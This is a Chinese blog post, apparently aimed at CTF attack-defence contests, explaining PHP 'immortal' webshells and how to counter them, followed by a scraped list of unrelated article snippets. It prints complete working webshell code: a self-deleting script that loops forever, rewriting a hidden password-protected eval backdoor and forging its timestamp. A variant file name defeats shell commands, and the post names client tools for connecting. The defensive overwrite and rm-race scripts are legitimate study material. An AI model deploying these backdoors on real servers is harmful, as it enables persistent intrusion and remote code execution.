不死马的利用与克制(基于条件竞争)及变种不死马
不死马即内存马,它会写进进程里,并且无限地在指定目录中生成木马文件
这里以PHP不死马为例
测试代码:
<?phpignore_user_abort(true);set_time_limit(0);unlink(__FILE__);$file = '.test.php';$code = '<?php if(md5($_GET["pass"])=="098f6bcd4621d373cade4e832627b4f6"){@eval($_POST[test]);} ?>';while (1){file_put_contents($file,$code);system('touch -m -d "2018-12-01 09:10:12" .test.php');usleep(5000);}
?>
上面代码即为最简单的不死马,其目的是创建一个名为".test.php"的PHP文件,该文件包含一个带有密码验证的后门,允许执行任意PHP代码。
关于代码的详细解释:
1、ignore_user_abort(true);
设置PHP脚本忽略用户中止连接,即使用户在浏览器中停止加载页面,脚本仍然会继续执行。
2、set_time_limit(0);
设置脚本执行时间限制为0,意味着脚本可以无限期地运行,不会被PHP的执行时间限制所中断。
3、unlink(__FILE__);
删除当前正在执行的PHP脚本文件,这是一种尝试隐藏脚本的行为,以防止被发现。
4、$file = '.test.php';
定义一个变量$file,它包含了要写入的文件名,即".test.php"。
文件最前面带上.就会变成隐藏文件
5、$code = '<?php if(md5($_GET["pass"])=="098f6bcd4621d373cade4e832627b4f6"){@eval($_POST[test]);} ?>';
定义一个变量$code,其中包含了PHP代码。这段代码首先检查通过GET请求传递的"pass"参数的MD5哈希值是否等于"098f6bcd4621d373cade4e832627b4f6",如果验证成功,它会尝试执行通过POST请求传递的名为"test"的PHP代码。
6、while (1){...}
这是一个无限循环,它将不断执行以下操作:
a. file_put_contents($file, $code);
将上述定义的$code写入文件$file,也就是".test.php",以便不断更新文件内容。
b. system('touch -m -d "2018-12-01 09:10:12" .test.php'); -
使用system函数,它会执行系统命令touch,以修改".test.php"文件的修改时间为"2018-12-01 09:10:12",这样可以欺骗文件的最后修改时间,以防止检测。
c. usleep(5000);
等待5毫秒后继续循环,这个睡眠操作是为了降低脚本的资源消耗,避免被系统检测到异常行为。
其中 098f6bcd4621d373cade4e832627b4f6 是加密后的md5值,之所以要进行加密是防止我们的木马被其他队伍利用,这里只是为了测试,加密前内容为test
上传该PHP文件后进行访问
访问后会在该路径下循环生成名字为 .test.php 的不死马隐藏文件
使用蚁剑或者菜刀连接生成的webshell:
http://文件所在路径/.test.php?pass=test
连接密码:test


尝试删除该文件,你会发现无法删除,这就是不死马,因为它已经写入了进程

使用ls和ll这种命令根本查找不到它,在前面代码我们说了,它会进行自动删除
只有查看新增文件才能发现它
find ./ -cmin -30 #查看30分钟内创建的文件

或者除非你知道这个不死马的名字,也可使用find命令查找(./表示在当前目录下)

处理方法:
1、写入同名文件克制不死马
测试代码:
<?phpignore_user_abort(true);set_time_limit(0);unlink(__FILE__);$file = '.test.php';$code = 'come on!';while (1){file_put_contents($file,$code);system('touch -m -d "2018-12-01 09:10:12" .test.php');usleep(1000);}
?>
注意:usleep的时间一定要比不死马小,$code修改为无害内容即可
假设文件命名为killshell.php,上传该文件并访问它
注意:一定要先去访问它一遍才能触发写入文件

再次尝试连接webshell发现已经连不上了,返回数据为空

在服务器查看webshell的内容

可以看到,内容不再是一句话木马,而变成了我们后面写入的无害内容
2、使用条件竞争查杀不死马
测试代码:
这是一个bash脚本
#!/bin/bash
while true
do
#kill -9 进程ID
rm -rf .test.php
done
如果能查到不死马的进程ID也可以kill命令和rm命令同时进行
使用命令 top | grep httpd 进行查询或者ps aux列出所有进程,找到要查杀的进程
新建查杀脚本
vim rmshell.sh

添加最高权限
chmod 777 rmshell.sh

在后台不断运行该脚本
nohup ./rmshell.sh &

再次查看不死马,发现已经不存在了

简单查看一下

拓展:变种不死马
这里写入的木马以-开头,而不是.开头
在 Linux 命令行中,命令在追加参数时都是用的-,所以,如果对这样方式命名的文件执行命令,都会将这个文件当做参数来执行,没有该参数就会报错,以至于命令无法在这个不死马上执行,但缺点就是隐蔽性没有以.开头的好。
<?phpignore_user_abort(true);set_time_limit(0);unlink(__FILE__);$file = '-test.php';$code = '<?php if(md5($_GET["pass"])=="098f6bcd4621d373cade4e832627b4f6"){@eval($_POST[test]);} ?>';while (1){file_put_contents($file,$code);system('touch -m -d "2018-12-01 09:10:12" -test.php');usleep(5000);}
?>
相关文章:
不死马的利用与克制(基于条件竞争)及变种不死马
不死马即内存马,它会写进进程里,并且无限地在指定目录中生成木马文件 这里以PHP不死马为例 测试代码: <?phpignore_user_abort(true);set_time_limit(0);unlink(__FILE__);$file .test.php;$code <?php if(md5($_GET["pass…...
计算机竞赛 车道线检测(自动驾驶 机器视觉)
0 前言 无人驾驶技术是机器学习为主的一门前沿领域,在无人驾驶领域中机器学习的各种算法随处可见,今天学长给大家介绍无人驾驶技术中的车道线检测。 1 车道线检测 在无人驾驶领域每一个任务都是相当复杂,看上去无从下手。那么面对这样极其…...
Java代理简介
代理简介 Java中的代理是一种设计模式,它允许一个对象(代理对象)代表另一个对象(真实对象)来控制对真实对象的访问。代理对象通常拥有与真实对象相同的接口,这使得客户端可以通过代理来访问真实对象&#…...
rust元组
一、元组定义 (一)语法 let tuple_name: (data_type1, data_type2, data_type3) (value1, value2, value3);可以不显式指定类型 let tuple_name (value1,value2,value3);使用一对小括号 () 把所有元素放在一起,元素之间使用逗号 , 分隔。…...
HTTPS工作过程,国家为什么让http为什么要换成https,Tomcat在MAC M1电脑如何安装,Tomcat的详细介绍
目录 引言 一、HTTPS工作过程 二、Tomcat 在访达中找到下载好的Tomcat文件夹(这个要求按顺序) zsh: permission denied TOMCAT的各部分含义: 引言 在密码中一般是:明文密钥->密文(加密) ÿ…...
第十课 贪心
文章目录 第十课 贪心lc 322.零钱兑换--中等题目描述代码展示 lc860.柠檬水找零--简单题目描述代码展示 lc455.分发饼干--简单题目描述代码展示 lc122.买卖股票的最佳时机II--中等题目描述代码展示 lc45.跳跃游戏II--中等题目描述代码展示 lc1665.完成所有任务的最少初始能量--…...
5分钟理解什么是卷积的特征提取
大家好啊,我是董董灿。 卷积算法之所以重要,关键在于其提取特征的能力。 5分钟入门卷积算法中提到,卷积模仿的就是人眼识图的过程,以“感受野”的视角去扫描图片,从而获取不同区域的图片信息。 在这一过程中&#x…...
Legion Y9000X IRH8 2023款(82Y3)原装出厂OEM预装Windows11系统
lenovo联想电脑笔记本拯救者原厂win11系统镜像 下载链接:https://pan.baidu.com/s/15G01j7ROVqOFOETccQSKHg?pwdt1ju 系统自带所有驱动、出厂主题壁纸、Office办公软件、联想电脑管家等预装程序 所需要工具:32G或以上的U盘 文件格式:ISO…...
【Acwing1010】拦截导弹(LIS+贪心)题解
题目描述 思路分析 本题有两问,第一问直接用lis的模板即可,下面重点看第二问 思路是贪心: 贪心流程: 从前往后扫描每一个数,对于每个数: 情况一:如果现有的子序列的结尾都小于当前的数&…...
DevicData-D-XXXXXXXX勒索病毒数据恢复|金蝶、用友、管家婆、OA、速达、ERP等软件数据库恢复
引言: 在数字时代,数据安全成为一项至关重要的挑战。DevicData-D-XXXXXXXX勒索病毒(以下简称DevicData病毒)是这场战斗中的新敌人,它能够以毁灭性的方式加密您的数据,迫使您在数据和时间之间做出艰难的选择…...
从入门到精通,30天带你学会C++【第七天:for循环和while循环以及数组的学习】(学不会你找我)
目录 Everyday English 前言 数组 数组的概念 数组的定义 数组的下标 for循环 循环是什么 基本格式 多重循环 while循环 do-while循环 总结 Everyday English To shine , not be illuminated. 去发光,而不是被照亮。 前言 好久不见,…...
Python 编程基础 | 第五章-类与对象 | 5.2、数据成员
一、数据成员 数据成员是指类中定义的变量,即属性,根据定义位置,又可以分为类属性和实例属性,下面分别进行介绍。 1、实例属性 实例属性是指定义在类的方法中的属性,该属性属于当前实例,例如:…...
PHP 个人愿望众筹网站系统mysql数据库web结构apache计算机软件工程网页wamp
一、源码特点 PHP 个人愿望众筹网站系统是一套完善的web设计系统,对理解php编程开发语言有帮助,系统具有完整的源代码和数据库,系统主要采用B/S模式开发。 php 个人愿望众筹网站 代码 https://download.csdn.net/download/qq_41221322/8…...
JS--判断空值(null、undefined、NaN、false、空字符串等)
原文网址:JS--判断空值(null、undefined、NaN、false、空字符串等)_IT利刃出鞘的博客-CSDN博客 简介 本文介绍JavaScript判断空值的方法。 空值包括:undefined,null,NaN,,false,{}࿰…...
ChatGPT 背后包含了哪些技术?
ChatGPT 是由OpenAI开发的一款基于GPT-3(Generative Pre-trained Transformer 3)的人工智能语言模型。这个模型是使用多种编程语言和技术组合编写的。 首先,ChatGPT 使用了 Python 作为主要的编程语言。Python 是一种流行的高级编程语言&…...
Vue Router(二)
目录 一、嵌套路由 1、路由定义 2、代码例子 3、重定向 二、懒加载 1、缘由 2、代码例子 三、导航守卫 1、全局前置守卫 2、全局后置守卫 3、meta元信息 四、生命周期 1、解释 2、执行顺序 3、例子 五、keep-alive组件缓存(保活) 1、介…...
ELK整合springboot(第二课)
一、创建一个springboot的项目 pom文件如下: <?xml version"1.0" encoding"UTF-8"?> <project xmlns"http://maven.apache.org/POM/4.0.0" xmlns:xsi"http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLo…...
运维常见的22个故障排查和10个问题解决技巧大汇总!
作为运维,多多少少会碰见这样那样的问题或故障,从中总结经验,查找问题,汇总并分析故障的原因,这是一个运维工程师良好的习惯。每一次技术的突破,都经历着苦闷,伴随着快乐,可我们还是…...
解决 TensorFlow 2.x 中的 “AttributeError: module ‘tensorflow‘ has no attribute ‘placeholder‘“ 错误
项目场景: 在使用 TensorFlow 框架实现深度学习应用时,可能会遇到以下错误: AttributeError: module tensorflow has no attribute placeholder问题描述 在 TensorFlow 1.x 版本中,placeholder 函数用于创建占位符张量。然而&a…...
新风机注意事项有哪些?
选择和使用新风机时,有几个关键注意事项需要牢记: 安装位置:新风机的安装位置很重要。通常情况下,应将其安装在室外以避免室内产生噪音和减少室内的体积占据。确保选择合适的安装位置,以便新风机能够顺利引入新鲜空气。…...
保姆级教程:在Ubuntu 22.04上为LAMMPS编译ReaxFF+Kokkos+OpenMP混合加速包(含GPU/CPU架构识别)
在Ubuntu 22.04上为LAMMPS编译ReaxFFKokkosOpenMP混合加速包的完整指南 对于计算材料科学和分子动力学模拟的研究者来说,LAMMPS是一个不可或缺的工具。然而,当模拟系统变得复杂时,计算效率往往成为瓶颈。本文将详细介绍如何在Ubuntu 22.04系统…...
掌握Windows虚拟显示技术:ParsecVDisplay打造高效多屏工作环境
掌握Windows虚拟显示技术:ParsecVDisplay打造高效多屏工作环境 【免费下载链接】parsec-vdd ✨ Perfect virtual display for game streaming 项目地址: https://gitcode.com/gh_mirrors/pa/parsec-vdd 在现代计算环境中,无论是远程办公、游戏直播…...
粮食安全政策托底,农业ETF(562900.SH)交易活跃度升温
5月14日,A股农业板块迎来温和上行,易方达农业ETF(562900.SH)收报0.756元,涨幅0.93%,跑赢跟踪标的中证现代农业指数0.85%的涨幅。数据显示,该ETF当日量比为1.13,换手率达9.54%&#x…...
kill-doc:打破文档平台壁垒,一键下载30+主流文库的终极解决方案
kill-doc:打破文档平台壁垒,一键下载30主流文库的终极解决方案 【免费下载链接】kill-doc 看到经常有小伙伴们需要下载一些免费文档,但是相关网站浏览体验不好各种广告,各种登录验证,需要很多步骤才能下载文档…...
NotebookLM多语言支持到底行不行?基于2000+跨语言笔记片段的BLEU-4与BERTScore双维度评测(含原始数据集下载链接)
更多请点击: https://intelliparadigm.com 第一章:NotebookLM多语言支持到底行不行?基于2000跨语言笔记片段的BLEU-4与BERTScore双维度评测(含原始数据集下载链接) NotebookLM 官方宣称支持“30语言”,但其…...
ReMe开源框架:突破AI智能体上下文限制与状态丢失的长期记忆管理方案
1. 项目概述与核心价值 如果你正在构建一个需要长期记忆的AI智能体,比如一个能记住你编程偏好的代码助手,或者一个能追踪用户历史问题的客服机器人,那么你肯定遇到过两个让人头疼的“顽疾”: 上下文窗口限制 和 会话状态丢失 …...
2026年大模型产品经理成长指南:新手到专家的完整学习路径,大模型产品经理的完整学习路线图!
随着人工智能技术的发展,尤其是大模型(Large Model)的兴起,越来越多的企业开始重视这一领域的投入。作为大模型产品经理,你需要具备一系列跨学科的知识和技能,以便有效地推动产品的开发、优化和市场化。以下…...
72V混合DC/DC转换器技术解析与工程实践
1. 72V混合DC/DC转换器的技术突破在数据中心、通信基站和汽车电子领域,48V供电架构正逐步取代传统的12V总线系统。这种转变带来更高功率传输效率的同时,也对中间总线转换器(IBC)提出了严苛要求——需要在36V至72V宽输入范围内&…...
智能体框架构建指南:从核心原理到工程实践
1. 项目概述:从代码仓库到智能体构建框架的深度解读最近在开源社区里,一个名为1kurepin/agentify的项目引起了我的注意。乍一看,这只是一个普通的 GitHub 仓库名,但如果你对当前 AI 领域,特别是智能体(Agen…...
SkillHarness:轻量级技能编排框架,构建可维护的AI与自动化工作流
1. 项目概述:一个面向开发者的技能编排与自动化框架最近在和一些做AI应用开发的朋友交流时,大家普遍提到一个痛点:当你想把多个AI模型、工具或者API串联起来,完成一个稍微复杂点的任务时,比如“分析一篇技术文章&#…...
